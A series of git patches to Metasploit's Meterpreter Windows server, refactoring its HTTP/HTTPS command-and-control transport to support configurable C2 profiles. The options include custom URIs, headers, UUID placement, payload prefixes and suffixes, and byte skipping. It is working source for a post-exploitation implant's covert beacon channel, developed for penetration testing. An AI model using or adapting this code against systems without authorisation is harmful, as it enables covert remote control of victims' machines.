sourceOptions->payload_suffix, sourceOptions->payload_suffix_size); } - if (ctx->proxy_user) + if (sourceOptions->referrer != NULL) { - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_USER, ctx->proxy_user); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_REFERRER, sourceOptions->referrer); } - if (ctx->proxy_pass) + if (sourceOptions->ua != NULL) { - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_PASS, ctx->proxy_pass); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UA, sourceOptions->ua); } - if (ctx->other_headers) + if (sourceOptions->uri != NULL) { - packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_HEADERS, ctx->other_headers); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uri); } - if (ctx->cert_hash) + if (sourceOptions->accept_types != NULL) { - packet_add_tlv_raw(c2Packet, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_ACCEPT_TYPES, sourceOptions->accept_types); + } + if (sourceOptions->uuid_cookie != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_COOKIE, sourceOptions->uuid_cookie); + } + if (sourceOptions->uuid_get != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_GET, sourceOptions->uuid_get); + } + if (sourceOptions->uuid_header != NULL) + { + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_HEADER, sourceOptions->uuid_header); } - // TODO: OJ - add the get/post munging prefixes/suffixes -#endif + return TRUE; +} + +void transport_write_http_config(Transport* transport, Packet* configPacket) +{ + if (transport->type == METERPRETER_TRANSPORT_HTTP || transport->type == METERPRETER_TRANSPORT_HTTPS) + { + Packet* c2Packet = packet_create_group(); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); + + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + set_http_options_to_tlv(c2Packet, &ctx->default_options); + + Packet* getOptionsPacket = packet_create_group(); + set_http_options_to_tlv(getOptionsPacket, &ctx->get_connection.options); + packet_add_group(c2Packet, TLV_TYPE_C2_GET, getOptionsPacket); + packet_destroy(getOptionsPacket); - packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); + Packet* postOptionsPacket = packet_create_group(); + set_http_options_to_tlv(postOptionsPacket, &ctx->post_connection.options); + packet_add_group(c2Packet, TLV_TYPE_C2_POST, postOptionsPacket); + packet_destroy(postOptionsPacket); + + if (ctx->proxy) + { + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_HOST, ctx->proxy); + } + if (ctx->proxy_user) + { + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_USER, ctx->proxy_user); + } + if (ctx->proxy_pass) + { + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_PASS, ctx->proxy_pass); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(c2Packet, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + + packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); + packet_destroy(c2Packet); + } } BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptions* targetOptions) { targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); targetOptions->other_headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_OTHER_HEADERS, NULL); - targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); + targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); targetOptions->payload_skip_count = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SKIP_COUNT); - targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); + targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); targetOptions->referrer = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_REFERRER, NULL); targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); @@ -1089,7 +1169,9 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options) dprintf("[HTTP OPTION] - %s - Accept Types: %S", type, options->accept_types); dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); dprintf("[HTTP OPTION] - %s - Other Headers: %S", type, options->other_headers); + dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); + dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); dprintf("[HTTP OPTION] - %s - Payload Suffix Size: %u", type, options->payload_suffix_size); dprintf("[HTTP OPTION] - %s - Referrer: %S", type, options->referrer); dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); @@ -1108,8 +1190,8 @@ static void debug_print_http_options(PSTR type, HttpRequestOptions* options) */ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) { - Transport* transport = (Transport*)malloc(sizeof(Transport)); - HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); + Transport* transport = (Transport*)calloc(1, sizeof(Transport)); + HttpTransportContext* ctx = (HttpTransportContext*)calloc(1, sizeof(HttpTransportContext)); PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); @@ -1128,7 +1210,7 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) ctx->ssl = wcsncmp(url, L"https", 5) == 0; // only apply the cert hash if we're given one and it's not the global value - LPBYTE certHash = packet_get_tlv_group_entry_value_raw(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); + LPBYTE certHash = packet_get_tlv_group_entry_value_raw_copy(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); if (certHash != NULL) { dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", @@ -1138,12 +1220,7 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) certHash[12], certHash[13], certHash[14], certHash[15], certHash[16], certHash[17], certHash[18], certHash[19]); - unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; - if (memcmp(certHash, emptyHash, CERT_HASH_SIZE)) - { - ctx->cert_hash = (PBYTE)malloc(CERT_HASH_SIZE); - memcpy_s(ctx->cert_hash, CERT_HASH_SIZE, certHash, CERT_HASH_SIZE); - } + ctx->cert_hash = certHash; } // default http parameters/options From 1a94441e8f10c515223f95e5270bd6e142f25a82 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 16 Jul 2025 14:31:15 +1000 Subject: [PATCH 07/24] Tidying up, removal of TLVs and skip count support Referrer and accept type headers no longer separate, despite what the APIs say they do support inclusion of them with custom headers. Skip counts now included so the incoming packets can be prefixed in the C2 profile. Various other code tidies/adjustments. --- c/meterpreter/source/common/common_core.h | 8 +- c/meterpreter/source/common/common_remote.h | 2 - .../source/metsrv/server_transport_winhttp.c | 85 +++++++++---------- 3 files changed, 43 insertions(+), 52 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index ddccecb9c..b68dca009 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -204,11 +204,9 @@ typedef enum TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) TLV_TYPE_C2_SKIP_COUNT = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Number of bytes of the incoming payload to ignore before parsing - TLV_TYPE_C2_REFERRER = TLV_VALUE(TLV_META_TYPE_STRING, 722), ///! Referrer string - TLV_TYPE_C2_ACCEPT_TYPES = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Accept types string - TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the cookie to put the UUID in - TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 725), ///! Name of the GET parameter to put the UUID in - TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 726), ///! Name of the header to put the UUID in + TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 722), ///! Name of the cookie to put the UUID in + TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the GET parameter to put the UUID in + TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the header to put the UUID in TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 172ade54c..fce977da0 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -75,8 +75,6 @@ typedef struct _HttpRequestOptions { STRTYPE uri; STRTYPE ua; - STRTYPE accept_types; - STRTYPE referrer; STRTYPE other_headers; ///! Custom headers that aren't user agent, accept types, or referrer PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads. UINT payload_prefix_size; ///! Size of the payload prefix diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 1d17c2a1e..9c41a592b 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -435,6 +435,7 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed create_req"); } + dprintf("[PACKET TRANSMIT HTTP] Request created, sending via POST"); res = ctx->send_req(ctx, hReq, FALSE, rawPacket, rawPacketLength); if (!res) { @@ -505,6 +506,35 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) goto out; } + UINT skipCount = ctx->get_connection.options.payload_skip_count; + if (skipCount == 0) + { + skipCount = ctx->default_options.payload_skip_count; + } + + vdprintf("[PACKET RECEIVE HTTP] Skipping GET bytes: %u", skipCount); + retries = 3; + while (skipCount > 0 && retries > 0) + { + DWORD bytesRead = 0; + BYTE buf[100] = { 0 }; + ctx->read_response(hReq, buf, min(skipCount, sizeof(buf)), &bytesRead); + vdprintf("[PACKET RECEIVE HTTP] Skipped bytes: %u", bytesRead); + skipCount -= bytesRead; + if (bytesRead == 0) + { + --retries; + } + } + + if (skipCount > 0) + { + // we didn't receive all the data to skip first, which means there's either a problem + // or there's nothing at all for us to do. + SetLastError(ERROR_NOT_FOUND); + goto out; + } + // Read the packet length retries = 3; vdprintf("[PACKET RECEIVE HTTP] Start looping through the receive calls"); @@ -958,25 +988,13 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) static void destroy_options(HttpRequestOptions* options) { - dprintf("SAFE_FREE(options->ua);"); SAFE_FREE(options->ua); - dprintf("SAFE_FREE(options->uri);"); SAFE_FREE(options->uri); - dprintf("SAFE_FREE(options->other_headers);"); SAFE_FREE(options->other_headers); - dprintf("SAFE_FREE(options->payload_prefix);"); SAFE_FREE(options->payload_prefix); - dprintf("SAFE_FREE(options->payload_suffix);"); SAFE_FREE(options->payload_suffix); - dprintf("SAFE_FREE(options->referrer);"); - SAFE_FREE(options->referrer); - dprintf("SAFE_FREE(options->accept_types);"); - SAFE_FREE(options->accept_types); - dprintf("SAFE_FREE(options->uuid_cookie);"); SAFE_FREE(options->uuid_cookie); - dprintf("SAFE_FREE(options->uuid_header);"); SAFE_FREE(options->uuid_header); - dprintf("SAFE_FREE(options->uuid_get);"); SAFE_FREE(options->uuid_get); } @@ -994,20 +1012,13 @@ static void transport_destroy_http(Transport* transport) if (ctx) { - dprintf("SAFE_FREE(ctx->cert_hash);"); SAFE_FREE(ctx->cert_hash); - dprintf("SAFE_FREE(ctx->proxy);"); SAFE_FREE(ctx->proxy); - dprintf("SAFE_FREE(ctx->proxy_pass);"); SAFE_FREE(ctx->proxy_pass); - dprintf("SAFE_FREE(ctx->proxy_user);"); SAFE_FREE(ctx->proxy_user); - dprintf("destroy_options(&ctx->post_connection.options);"); destroy_options(&ctx->post_connection.options); - dprintf("destroy_options(&ctx->get_connection.options);"); destroy_options(&ctx->get_connection.options); - dprintf("destroy_options(&ctx->default_options);"); destroy_options(&ctx->default_options); if (ctx->proxy_for_url) @@ -1015,25 +1026,18 @@ static void transport_destroy_http(Transport* transport) WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; if (proxyInfo->lpszProxy) { - dprintf("GlobalFree(proxyInfo->lpszProxy);"); GlobalFree(proxyInfo->lpszProxy); } if (proxyInfo->lpszProxyBypass) { - dprintf("GlobalFree(proxyInfo->lpszProxyBypass);"); GlobalFree(proxyInfo->lpszProxyBypass); } } - dprintf("SAFE_FREE(ctx->proxy_for_url);"); SAFE_FREE(ctx->proxy_for_url); } - dprintf("SAFE_FREE(transport->url);"); SAFE_FREE(transport->url); - dprintf("SAFE_FREE(transport->ctx);"); SAFE_FREE(transport->ctx); - dprintf("SAFE_FREE(transport);"); SAFE_FREE(transport); - dprintf("[TRANS HTTP] Destroyed"); } } @@ -1059,10 +1063,6 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_raw(optionsPacket, TLV_TYPE_C2_SUFFIX, sourceOptions->payload_suffix, sourceOptions->payload_suffix_size); } - if (sourceOptions->referrer != NULL) - { - packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_REFERRER, sourceOptions->referrer); - } if (sourceOptions->ua != NULL) { packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UA, sourceOptions->ua); @@ -1071,10 +1071,6 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uri); } - if (sourceOptions->accept_types != NULL) - { - packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_ACCEPT_TYPES, sourceOptions->accept_types); - } if (sourceOptions->uuid_cookie != NULL) { packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_COOKIE, sourceOptions->uuid_cookie); @@ -1107,12 +1103,10 @@ void transport_write_http_config(Transport* transport, Packet* configPacket) Packet* getOptionsPacket = packet_create_group(); set_http_options_to_tlv(getOptionsPacket, &ctx->get_connection.options); packet_add_group(c2Packet, TLV_TYPE_C2_GET, getOptionsPacket); - packet_destroy(getOptionsPacket); Packet* postOptionsPacket = packet_create_group(); set_http_options_to_tlv(postOptionsPacket, &ctx->post_connection.options); packet_add_group(c2Packet, TLV_TYPE_C2_POST, postOptionsPacket); - packet_destroy(postOptionsPacket); if (ctx->proxy) { @@ -1132,7 +1126,6 @@ void transport_write_http_config(Transport* transport, Packet* configPacket) } packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); - packet_destroy(c2Packet); } } @@ -1143,10 +1136,8 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); targetOptions->payload_skip_count = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SKIP_COUNT); targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); - targetOptions->referrer = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_REFERRER, NULL); targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); - targetOptions->accept_types = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_ACCEPT_TYPES, NULL); targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL); targetOptions->uuid_get = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_GET, NULL); targetOptions->uuid_header = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_HEADER, NULL); @@ -1166,14 +1157,13 @@ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, Http static void debug_print_http_options(PSTR type, HttpRequestOptions* options) { - dprintf("[HTTP OPTION] - %s - Accept Types: %S", type, options->accept_types); dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); dprintf("[HTTP OPTION] - %s - Other Headers: %S", type, options->other_headers); - dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); - dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); + dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); dprintf("[HTTP OPTION] - %s - Payload Suffix Size: %u", type, options->payload_suffix_size); - dprintf("[HTTP OPTION] - %s - Referrer: %S", type, options->referrer); + dprintf("[HTTP OPTION] - %s - Payload Suffix: %s", type, options->payload_suffix); + dprintf("[HTTP OPTION] - %s - Skip Byte Count: %u", type, options->payload_skip_count); dprintf("[HTTP OPTION] - %s - URI: %S", type, options->uri); dprintf("[HTTP OPTION] - %s - UUID Cookie: %S", type, options->uuid_cookie); dprintf("[HTTP OPTION] - %s - UUID Get: %S", type, options->uuid_get); @@ -1210,7 +1200,7 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) ctx->ssl = wcsncmp(url, L"https", 5) == 0; // only apply the cert hash if we're given one and it's not the global value - LPBYTE certHash = packet_get_tlv_group_entry_value_raw_copy(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); + LPBYTE certHash = packet_get_tlv_group_entry_value_raw(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); if (certHash != NULL) { dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", @@ -1220,7 +1210,12 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) certHash[12], certHash[13], certHash[14], certHash[15], certHash[16], certHash[17], certHash[18], certHash[19]); - ctx->cert_hash = certHash; + unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; + if (memcmp(certHash, emptyHash, CERT_HASH_SIZE)) + { + ctx->cert_hash = (PBYTE)calloc(1, CERT_HASH_SIZE); + memcpy_s(ctx->cert_hash, CERT_HASH_SIZE, certHash, CERT_HASH_SIZE); + } } // default http parameters/options From 19e6eaf40f5bdc471e0d83a2dbfbbf55113bfcd7 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 17 Jul 2025 11:36:16 +1000 Subject: [PATCH 08/24] Update WININET implementation for C2 support --- .../source/metsrv/server_transport_winhttp.c | 64 +------------------ .../source/metsrv/server_transport_wininet.c | 45 +++++++++---- c/meterpreter/workspace/metsrv/metsrv.vcxproj | 4 +- .../workspace/metsrv/metsrv.vcxproj.filters | 2 + 4 files changed, 41 insertions(+), 74 deletions(-) diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 9c41a592b..b7a64eda1 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -8,6 +8,7 @@ #include #include "packet_encryption.h" #include "pivot_packet_dispatch.h" +#include "server_http_utils.h" #ifdef DEBUGTRACE #define DBG_PRINT_OPTIONS(t, o) debug_print_http_options(t, o) @@ -15,67 +16,6 @@ #define DBG_PRINT_OPTIONS(t, o) #endif -static PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) -{ - PWCHAR baseUri = ctx->default_options.uri; - if (conn->options.uri) - { - baseUri = conn->options.uri; - } - - // If there's no URI for this connection, then the base URI is used, and that will (at least - // currently) contain the UUID string that's required. So we can just return that. - if (!conn->options.uri) - { - return _wcsdup(ctx->default_options.uri); - } - - // If we do have a URi specified for this conneciton, we need to parse it. But only - // if the UUID location parameter is not specified in the cookie/httpheader/querystring - if (conn->options.uuid_cookie || conn->options.uuid_get || conn->options.uuid_header) - { - // return a copy of the baseUri in this case, the caller should free the result. - return _wcsdup(conn->options.uri); - } - - // If we do need to put the UUID in the URI, the we need to pull it from the base URI - // and put it in place before any query string parameters in the current URI - PWCHAR queryString = wcschr(conn->options.uri, L'?'); - dprintf("[GENURI] query string: %S", queryString); - size_t queryStringLen = queryString ? wcslen(queryString) : 0; - dprintf("[GENURI] query string len: %u", queryStringLen); - size_t baseUriLen = wcslen(conn->options.uri) - queryStringLen; - dprintf("[GENURI] base URI len: %u", baseUriLen); - - // The base URI should contain the UUID string (for now) and shouldn't contain any query string - // parameters. Search for '/' from the second-last char in this URI - PWCHAR uuidUri = ctx->default_options.uri + wcslen(ctx->default_options.uri) - 1; - while (uuidUri > ctx->default_options.uri && *(--uuidUri) != L'/'); - - dprintf("[GENURI] uuid string: %S", uuidUri); - size_t uuidUriLen = wcslen(uuidUri); - - // now let's clue the things together (with NULL terminator) - size_t uriLen = baseUriLen + queryStringLen + uuidUriLen + 1; - dprintf("[GENURI] Total URI length required: %u", uriLen); - PWCHAR uri = (PWCHAR)calloc(uriLen, sizeof(wchar_t)); - - wcsncpy_s(uri, uriLen, baseUri, baseUriLen); - dprintf("[GENURI] uri 1: %S", uri); - wcscat_s(uri, uriLen, uuidUri); - dprintf("[GENURI] uri 2: %S", uri); - - if (queryString) - { - wcscat_s(uri, uriLen, queryString); - dprintf("[GENURI] uri 3: %S", uri); - } - - dprintf("[GENURI] final URI: %S", uri); - - return uri; -} - /*! * @brief Prepare a winHTTP request with the given context. * @param ctx Pointer to the HTTP transport context to prepare the request from. @@ -548,7 +488,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) goto out; } - vdprintf("[PACKET RECEIVE WINHTTP] Data received: %u bytes", bytesRead); + vdprintf("[PACKET RECEIVE HTTP] Data received: %u bytes", bytesRead); // If the response contains no data, this is fine, it just means the // remote side had nothing to tell us. Indicate this through a diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index 62f9943a0..cb07f98b8 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -3,6 +3,7 @@ */ #include "metsrv.h" #include +#include "server_http_utils.h" /*! * @brief Prepare a wininet request with the given context. @@ -29,19 +30,16 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons } HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; - PWCHAR uri = ctx->default_options.uri; - if (conn->options.uri) - { - // TODO OJ: include the default URI/UUID in here somehow? - uri = conn->options.uri; - } + + PWSTR uri = generate_uri(ctx, conn); do { - vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); hReq = HttpOpenRequestW(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags, 0); + free(uri); + if (hReq == NULL) { dprintf("[%s] Failed HttpOpenRequestW: %d", direction, GetLastError()); @@ -119,13 +117,38 @@ static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, BOOL is headers = conn->options.other_headers; } - if (headers) + DWORD headerLength = headers == NULL ? 0 : -1L; + DWORD totalSize = size + conn->options.payload_prefix_size + conn->options.payload_suffix_size; + + // WININET doesn't give us the ability to write in chunks without using HttpSendRequestEx, which sucks + // because that's a one-stop-shop for the whole request that requires changing the way we do things quite + // a bit. So, in the rare cases that we're dropping back to WININET, we're going to just construct a + // buffer with all the data we need in it. + PBYTE optionalData = NULL; + + if (totalSize > 0) { - dprintf("[WINHTTP] Sending with custom headers: %S", headers); - return HttpSendRequestW(hReq, headers, -1L, buffer, size); + optionalData = (PBYTE)calloc(totalSize, 1); + + if (conn->options.payload_prefix_size > 0) + { + memcpy_s(optionalData, conn->options.payload_prefix_size, conn->options.payload_prefix, conn->options.payload_prefix_size); + } + if (size > 0) + { + memcpy_s(optionalData + conn->options.payload_prefix_size, size, buffer, size); + } + if (conn->options.payload_prefix_size > 0) + { + memcpy_s(optionalData + conn->options.payload_prefix_size + size, conn->options.payload_suffix_size, conn->options.payload_suffix, conn->options.payload_suffix_size); + } } - return HttpSendRequestW(hReq, NULL, 0, buffer, size); + dprintf("[WININET] Sending payload"); + BOOL result = HttpSendRequestW(hReq, headers, headerLength, optionalData, totalSize); + SAFE_FREE(optionalData); + + return result; } /*! diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 985e2eed2..d846ac621 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -558,6 +558,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -587,6 +588,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -612,4 +614,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4f02ec4a1..7ec76c1bb 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -27,6 +27,7 @@ + @@ -57,6 +58,7 @@ + From 83aff75a644d7bb36912ce982f05dd33d5fda736 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 23 Jul 2025 14:06:22 +1000 Subject: [PATCH 09/24] UUID handling and transport refactoring --- c/meterpreter/source/common/common_core.h | 18 +- c/meterpreter/source/common/common_remote.h | 4 +- c/meterpreter/source/metsrv/base_dispatch.c | 212 ++---------------- c/meterpreter/source/metsrv/remote_dispatch.c | 2 +- .../source/metsrv/server_http_utils.c | 87 +++++++ .../source/metsrv/server_http_utils.h | 12 + .../source/metsrv/server_transport_winhttp.c | 112 ++++----- .../source/metsrv/server_transport_wininet.c | 6 +- 8 files changed, 179 insertions(+), 274 deletions(-) create mode 100644 c/meterpreter/source/metsrv/server_http_utils.c create mode 100644 c/meterpreter/source/metsrv/server_http_utils.h diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index b68dca009..bcea54b20 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -151,21 +151,6 @@ typedef enum TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string). TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int). - // Transport switching - TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. - TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use. - TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http). - TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout. - TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration. - TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https). - TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s). - TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s). - 